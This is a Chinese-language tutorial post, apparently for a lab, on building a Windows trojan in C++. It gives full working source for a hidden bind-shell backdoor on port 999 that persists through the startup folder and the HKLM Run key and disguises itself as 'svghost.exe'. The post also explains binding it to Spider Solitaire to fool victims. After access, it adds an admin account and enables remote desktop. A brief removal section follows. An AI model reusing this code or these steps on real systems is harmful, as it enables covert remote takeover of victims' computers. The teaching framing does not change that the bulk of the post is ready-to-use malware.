聲明:本帖僅作技術交流,切莫用於非法用途。否則造成的一切法律責任與作者無關。
"使用C++實現一個簡單的木馬,實現木馬的遠程控制功能,能夠開機自啟動和偽裝或隱藏,最后通過清除本木馬,掌握常規的木馬排查和查殺方法。"
工具:vc++6.0
攻擊機:win10(ip隨機) 靶機:192.168.1.129
一、木馬是什么?
這是一個老生常談的問題,木馬(Trojan)這個名字來源於古希臘傳說(荷馬史詩中木馬計的故事,Trojan一詞的本意是特洛伊的,即代指特洛伊木馬,也就是木馬計的故事)。
二、木馬隱藏技術
木馬會想盡一切辦法隱藏自己,主要途徑有:在任務欄中隱藏自己,這是最基本的辦法。只要把Form的Visible屬性設為False,ShowInTaskBar設為False,程序運行時就不會出現在任務欄中了(MFC編程)。在任務管理器中隱形:將程序設為“系統服務”可以很輕松地偽裝自己。當然它也會悄無聲息地啟動,黑客當然不會指望用戶每次啟動后點擊“木馬”圖標來運行服務端,“木馬”會在每次用戶啟動時自動裝載。Windows系統啟動時自動加載應用程序的方法,“木馬”都會用上,如:啟動組、Win.ini、System.ini、注冊表等都是“木馬”藏身的好地方。木馬與計算機網絡中常常要用到的遠程控制軟件有些相似,但由於遠程控制軟件是“善意”的控制,因此通常不具有隱蔽性;“木馬”則完全相反,木馬要達到的是“偷竊”性的遠程控制,如果沒有很強的隱蔽性的話,那就是“毫無價值”的。
三、木馬程序原理:
木馬病毒的工作原理:一個完整的特洛伊木馬套裝程序含了兩部分:服務端(服務器部分)和客戶端(控制器部分)。植入對方電腦的是服務端,而黑客正是利用客戶端進入運行了服務端的電腦。運行了木馬程序的服務端以后,會產生一個有着容易迷惑用戶的名稱的進程,暗中打開端口,向指定地點發送數據(如網絡游戲的密碼,即時通信軟件密碼和用戶上網密碼等),黑客甚至可以利用這些打開的端口進入電腦系統。
四、編寫后門型木馬:
編寫一個反彈shell的木馬,能夠偽裝成其他應用程序(掃雷游戲,或者表白代碼等偽裝程序),點擊運行后能夠打開特定的端口(或可使用端口復用技術,更適合與服務器),等待客戶端連接,客戶端使用telnet后,便可反彈拿到shell,然后為所欲為(創建新的賬號密碼,遠程桌面連接等)。
木馬能夠實現開機自啟動,任務管理器中在應用程序一欄消失,在進程一欄中偽裝成其他進程。
1.木馬的功能模塊圖
2.代碼實現各個部分
開機自啟動
windwos有一個自啟動文件夾。在 系統啟動時會自動運行開始->啟動子菜單中的所有項目
注意:在Documents and Settings文件下有多個文件夾。
Administrator文件夾下的是對當前用戶的專有賬戶生效
All Users文件下是對所有用戶生效
所以一般為了方便我們都放在All Users文件下
要想實現它,我這里先介紹兩個函數:
UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);
DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
1)UINT GetSystemDirectory()函數
這個函數的參數 lpBuffer會返回系統路徑,我們提取前面兩位就是就可以得到系統分區,例如“C:”
2)DWORD GetModuleFileName()函數
這個函數是返回我們程序自身的完整路徑
完整代碼:
///寫入注冊表/// GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//鍵 GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//值
加入注冊表
自啟動注冊表路徑有許多,大家可以自己了解一下,最常用的有:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
這里我們選擇第一個,來編寫代碼,我們用到的主要函數只有一個:
///寫入注冊表/// GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//鍵 GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//值
我們分別設置了注冊表的鍵和值,鍵為:kinni,值為FileName,FileName為木馬文件的絕對路徑
開啟端口
主要的辦法是:建立CSocket開始,然后綁定端口999,接下來監聽這個端口,然后接收來自客戶端的命令,最后關閉這個CSocket。這是一個比較簡單的正向連接后門程序。這個程序之所以說比較簡單,系統重啟這個木馬就會被清除了。
創建socket連接的代碼比較簡單,大家都會,百度一大堆,就不再解釋。
先說個小技巧:因為我們寫的cmd木馬,整個過程我們都不需要顯示出cmd的黑窗窗,所以我們可以把cmd窗口直接屏蔽掉,使用:
//設置鏈接器選項 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
因為我們最后要反彈本地shell給客戶端,所以我們要先拿到本地cmd.exe的路徑。
//獲取CMD路徑 GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); //COMSPEC是代表cmd,獲取更多環境變量可以查看一下本函數的更多參數
我們將所有代碼整合一下,得到完整代碼:
#pragma comment(lib,"ws2_32.lib") //設置連接器選項 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #include <winsock2.h> #include<windows.h> #include<stdio.h> #define MasterPort 999 //定義監聽端口 void open_telnet(){ WSADATA WSADa;//用來存儲被WSAStartup函數調用后返回的win sockets數據 sockaddr_in SockAddrin; SOCKET CSocket, SSocket; int AddrSize; PROCESS_INFORMATION Processinfo; STARTUPINFO Startupinfo; char szCMDPath[255]; //配內存資源,初始化數據 ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&Startupinfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); //獲取CMD路徑 GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); //加載ws2_32.dll WSAStartup(0x202, &WSADa); //設置本地信息和綁定協議,建立socket SockAddrin.sin_family = AF_INET; SockAddrin.sin_addr.s_addr = INADDR_ANY; SockAddrin.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //設置綁定斷端口999 bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin)); //設置服務器監聽端口 listen(CSocket, 1); AddrSize = sizeof(SockAddrin); //開始連接遠程服務器,並配置隱藏窗口結構體 SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize); Startupinfo.cb = sizeof(STARTUPINFO); Startupinfo.wShowWindow = SW_HIDE; Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; Startupinfo.hStdInput = (HANDLE)SSocket; Startupinfo.hStdOutput = (HANDLE)SSocket; Startupinfo.hStdError = (HANDLE)SSocket; //創建匿名管道 CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo); WaitForSingleObject(Processinfo.hProcess, INFINITE); CloseHandle(Processinfo.hProcess); CloseHandle(Processinfo.hThread); //關閉進程句柄 closesocket(CSocket); closesocket(SSocket); WSACleanup(); //關閉連接卸載ws2_32.dll } int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value) { HKEY hkResult; int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult); if(ret != 0) return ret; ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75); if(ret==0) { RegCloseKey(hkResult); return 0; } else { return ret; } } int autopen(const char* key_name, const char* process_path) { char reg_name[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path); } int main(void) { char key_name[100]; char process_path[1024]; ///寫入啟動文件夾//// char FileName[MAX_PATH];//存儲程序自身的絕對路徑 char TempPath[MAX_PATH];//存儲系統存放路徑,主要獲取系統盤盤符 char TempBuffer[MAX_PATH]; GetModuleFileName(NULL,FileName,sizeof(FileName)); GetSystemDirectory(TempPath,sizeof(TempPath)); sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\svghost.exe",TempPath[0],TempPath[1]); CopyFile(FileName,TempBuffer,TRUE); //將程序復制到啟動文件夾中 ///寫入注冊表/// GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini"); GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\svghost.exe", process_path, sizeof(process_path), ".\\config.ini"); int ret = autopen(key_name, process_path); open_telnet();//遠程telnet return 0; }
文件偽裝
如上,我們代碼編譯運行后,得到一個exe文件,但是我們隱藏了命令行窗口,所以點擊運行后,不會有任何反應。
但是誰都不會傻到直接運行這么一個什么都沒有的代碼,我們要跟其他的程序,綁在一起,偷偷執行,讓靶機用戶不知情。
我們可以從網上找到一些輔助工具,來幫助我們。我找了一款叫做ExeBinder.exe的軟件。
這個程序可以將兩個可執行文件捆綁為一個,但是在點擊運行的時候,會同時運行兩個文件。對我們的木馬來說,簡直就是量身定制。
首先,將前面我們提到的功能,做一個封裝,寫成一個exe文件:叫做torjan.exe(后面為了偽裝效果,更改了程序名為svghost.exe)
再來看看現在的啟動文件夾和注冊表內容:
Ok,非常好。
運行一下我們的exe文件
可以看到啟動文件夾和注冊表項中,已經添加了。
功能正常,現在我們將它和正常的程序綁在一起,這里選擇了蜘蛛紙牌,當然我們可以選擇自己寫的其他有趣的代碼。
3.木馬測試
首先肯定是靶機需要運行一次上面這個木馬,才可以連接。
連接測試
接下來,我們就來測試一下,我們是否能遠程連接到靶機。嘗試使用另一台電腦(win10+Powershell)進行連接
成功彈回了shell。
靶機觀察
運行后,我們觀察任務管理器:只顯示蜘蛛紙牌,非常nice!
我們再來看看進程下面,
重啟再連接
電腦剛打開,提示開機時間時,已經可以連接到目標。
4.更多操作
我們連接到遠程shell后,可以新建一個用戶,然后加入管理員組。
net user admin /add //創建admin 用戶 密碼為空
net localgroup adminators admin /add //賦予admin用戶,管理員權限
然后開啟遠程桌面功能(也就是3389端口),連接后將自己這個用戶隱藏掉。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
but…我在這里,並沒有開啟,原因是命令行提示我參數過多,可能是telnet過來的命令行,有點問題。
大家感興趣可以自己試試。
五、木馬清除
清除木馬,因為本木馬使用了偽裝,復制和注冊表項,我們需要一一清除:
首先打開任務管理器,關閉蜘蛛紙牌應用程序,從進程中找到svghost.exe所有者為administrator,結束掉該進程;
然后,打開本地C盤啟動文件夾,刪除svghost.exe程序;
同時,刪除本地的捆綁了木馬的蜘蛛紙牌(或其他應用);
最后,打開注冊表,進入自啟動項(有很多,Run下面的都要仔細檢查,但是本木馬使用了比較經典的位置),HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,刪除包含svghost.exe的對應鍵值關系。
重啟電腦。
【寫在后面】
*本文獲取shell的部分參考了下面的安全牛大佬的帖子:https://bbs.ichunqiu.com/thread-6935-1-1.html